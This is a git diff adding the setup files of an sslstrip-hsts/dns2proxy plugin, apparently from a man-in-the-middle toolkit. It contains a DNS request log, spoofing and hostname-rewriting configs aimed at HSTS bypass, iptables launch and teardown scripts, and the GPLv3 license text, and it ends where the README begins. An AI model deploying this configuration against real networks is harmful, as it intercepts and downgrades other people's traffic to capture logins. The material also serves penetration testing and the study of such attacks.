-0,0 +1 @@ + diff --git a/plugins/external/sslstrip-hsts/dns2proxy/dnslog.txt b/plugins/external/sslstrip-hsts/dns2proxy/dnslog.txt new file mode 100644 index 0000000..1644af7 --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/dnslog.txt @@ -0,0 +1,48 @@ + +2017-08-30 10:09:18 Client IP: 127.0.0.1 request is clientservices.googleapis.com. IN A +2017-08-30 10:09:48 Client IP: 127.0.0.1 request is play.google.com. IN A +2017-08-30 10:10:18 Client IP: 127.0.0.1 request is clientservices.googleapis.com. IN A +2017-08-30 10:10:48 Client IP: 127.0.0.1 request is play.google.com. IN A +2017-08-30 10:11:18 Client IP: 127.0.0.1 request is clientservices.googleapis.com. IN A +2017-08-30 10:11:48 Client IP: 127.0.0.1 request is play.google.com. IN A +2017-08-30 10:12:18 Client IP: 127.0.0.1 request is clientservices.googleapis.com. IN A +2017-08-30 10:12:48 Client IP: 127.0.0.1 request is play.google.com. IN A +2017-08-30 10:13:18 Client IP: 127.0.0.1 request is clientservices.googleapis.com. IN A +2017-08-30 10:13:48 Client IP: 127.0.0.1 request is play.google.com. IN A +2017-08-30 10:14:18 Client IP: 127.0.0.1 request is clientservices.googleapis.com. IN A +2017-08-30 10:14:48 Client IP: 127.0.0.1 request is play.google.com. IN A +2017-08-30 10:15:18 Client IP: 127.0.0.1 request is safebrowsing.googleapis.com. IN A +2017-08-30 10:15:48 Client IP: 127.0.0.1 request is safebrowsing.googleapis.com. IN A +2017-09-02 23:50:31 Client IP: 127.0.0.1 request is accounts.google.com. IN A +2017-09-02 23:51:01 Client IP: 127.0.0.1 request is accounts.google.com. IN AAAA +2017-09-02 23:51:31 Client IP: 127.0.0.1 request is accounts.google.com. IN A +2017-09-02 23:52:01 Client IP: 127.0.0.1 request is accounts.google.com. IN AAAA +2017-09-02 23:52:31 Client IP: 127.0.0.1 request is 1.debian.pool.ntp.org. IN A +2017-09-02 23:53:01 Client IP: 127.0.0.1 request is 1.debian.pool.ntp.org. IN AAAA +2017-09-02 23:53:31 Client IP: 127.0.0.1 request is slb.com. IN A +2017-09-02 23:54:01 Client IP: 127.0.0.1 request is slb.com. IN AAAA +2017-09-02 23:54:31 Client IP: 127.0.0.1 request is autodiscover.slb.com. IN A +2017-09-02 23:55:01 Client IP: 127.0.0.1 request is autodiscover.slb.com. IN AAAA +2017-09-03 00:00:42 Client IP: 127.0.0.1 request is www.googleapis.com. IN A +2017-09-03 00:01:12 Client IP: 127.0.0.1 request is www.googleapis.com. IN AAAA +2017-09-03 00:01:42 Client IP: 127.0.0.1 request is dwnewkywu. IN A +2017-09-03 00:02:12 Client IP: 127.0.0.1 request is vgwrlaxttduw. IN A +2017-09-03 00:02:42 Client IP: 127.0.0.1 request is wvdkuhmh. IN A +2017-09-03 00:03:12 Client IP: 127.0.0.1 request is mtalk.google.com. IN A +2017-09-03 00:03:42 Client IP: 127.0.0.1 request is www.google.com. IN A +2017-09-03 00:04:12 Client IP: 127.0.0.1 request is vgwrlaxttduw. IN A +2017-09-03 00:04:42 Client IP: 127.0.0.1 request is dwnewkywu. IN A +2017-09-03 00:05:12 Client IP: 127.0.0.1 request is wvdkuhmh. IN A +2017-09-03 00:05:42 Client IP: 127.0.0.1 request is mtalk.google.com. IN A +2017-09-03 00:06:12 Client IP: 127.0.0.1 request is www.google.com. IN A +2017-09-03 00:06:42 Client IP: 127.0.0.1 request is www.googleapis.com. IN A +2017-09-03 00:07:12 Client IP: 127.0.0.1 request is www.googleapis.com. IN AAAA +2017-09-03 00:07:42 Client IP: 127.0.0.1 request is mtalk.google.com. IN A +2017-09-03 00:08:12 Client IP: 127.0.0.1 request is www.google.com. IN A +2017-09-03 00:08:42 Client IP: 127.0.0.1 request is mtalk.google.com. IN A +2017-09-03 00:09:12 Client IP: 127.0.0.1 request is www.google.com. IN A +2017-09-03 00:09:42 Client IP: 127.0.0.1 request is mtalk.google.com. IN A +2017-09-03 00:10:12 Client IP: 127.0.0.1 request is www.google.com. IN A +2017-09-03 00:10:42 Client IP: 127.0.0.1 request is accounts.google.com. IN A +2017-09-03 00:11:12 Client IP: 127.0.0.1 request is accounts.google.com. IN AAAA +2017-09-03 00:11:42 Client IP: 127.0.0.1 request is mtalk.google.com. IN A diff --git a/plugins/external/sslstrip-hsts/dns2proxy/domains.cfg b/plugins/external/sslstrip-hsts/dns2proxy/domains.cfg new file mode 100644 index 0000000..9e5d848 --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/domains.cfg @@ -0,0 +1,2 @@ +.domain.com 192.168.1.1 + diff --git a/plugins/external/sslstrip-hsts/dns2proxy/fhtagn.sh b/plugins/external/sslstrip-hsts/dns2proxy/fhtagn.sh new file mode 100644 index 0000000..8b5d92e --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/fhtagn.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +iptables -P INPUT ACCEPT +iptables -F +iptables -F -t nat + +killall python2.6 diff --git a/plugins/external/sslstrip-hsts/dns2proxy/ia.sh b/plugins/external/sslstrip-hsts/dns2proxy/ia.sh new file mode 100644 index 0000000..942b26c --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/ia.sh @@ -0,0 +1,40 @@ +#!/bin/bash + +# Lanzar: start.sh +# +# Example: start.sh eth0 192.168.1.101 192.168.1.200 + + + +interfaz=$1 +dnsserver=$2 +routingIP=$3 + +adminIP="192.168.1.82" + +ifconfig $interfaz:1 $routingIP + +iptables -F +iptables -F -t nat +iptables -P INPUT DROP +iptables -A INPUT -p tcp --dport 443 -j REJECT --reject-with tcp-reset +#iptables -A INPUT -p tcp --dport 443 -j ACCEPT +iptables -A INPUT -p tcp --dport 80 -j ACCEPT +iptables -A INPUT -s $adminIP -j ACCEPT + +#iptables -A INPUT -p tcp --dport 5900 -j ACCEPT +#iptables -A INPUT -p tcp --dport 5901 -j ACCEPT +iptables -A INPUT -p udp --dport 53 -j ACCEPT +iptables -A INPUT -p udp --sport 53 -j ACCEPT + +iptables -A INPUT -p udp -j REJECT +iptables -A INPUT -p icmp -j REJECT +iptables -A INPUT -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT + +modprobe ip_nat_ftp +modprobe ip_conntrack_ftp +iptables -A INPUT -m helper --helper ftp -j ACCEPT + +python2.6 dns2proxy.py $interfaz $dnsserver $routingIP + + diff --git a/plugins/external/sslstrip-hsts/dns2proxy/nospoof.cfg b/plugins/external/sslstrip-hsts/dns2proxy/nospoof.cfg new file mode 100644 index 0000000..aca6f6a --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/nospoof.cfg @@ -0,0 +1 @@ +imap.gmail.com diff --git a/plugins/external/sslstrip-hsts/dns2proxy/nospoofto.cfg b/plugins/external/sslstrip-hsts/dns2proxy/nospoofto.cfg new file mode 100644 index 0000000..e56ea71 --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/nospoofto.cfg @@ -0,0 +1 @@ +127.0.0.1 \ No newline at end of file diff --git a/plugins/external/sslstrip-hsts/dns2proxy/resolv.conf b/plugins/external/sslstrip-hsts/dns2proxy/resolv.conf new file mode 100644 index 0000000..cae093a --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/resolv.conf @@ -0,0 +1 @@ +nameserver 8.8.8.8 diff --git a/plugins/external/sslstrip-hsts/dns2proxy/spoof.cfg b/plugins/external/sslstrip-hsts/dns2proxy/spoof.cfg new file mode 100644 index 0000000..139597f --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/spoof.cfg @@ -0,0 +1,2 @@ + + diff --git a/plugins/external/sslstrip-hsts/dns2proxy/transform.cfg b/plugins/external/sslstrip-hsts/dns2proxy/transform.cfg new file mode 100644 index 0000000..12dd1db --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/transform.cfg @@ -0,0 +1,7 @@ +#Transformation file +wwww.:www. +social.:www. +web: +cuentas:accounts +gmail:mail +chatenabled.gmail.google.com:chatenabled.mail.google.com diff --git a/plugins/external/sslstrip-hsts/dns2proxy/victims.cfg b/plugins/external/sslstrip-hsts/dns2proxy/victims.cfg new file mode 100644 index 0000000..e69de29 diff --git a/plugins/external/sslstrip-hsts/sslstrip2/COPYING b/plugins/external/sslstrip-hsts/sslstrip2/COPYING new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/plugins/external/sslstrip-hsts/sslstrip2/COPYING @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/plugins/external/sslstrip-hsts/sslstrip2/README b/plugins/external/sslstrip-hsts/sslstrip2/README new file mode 100644 index 0000000..181bdc9 --- /dev/null +++ 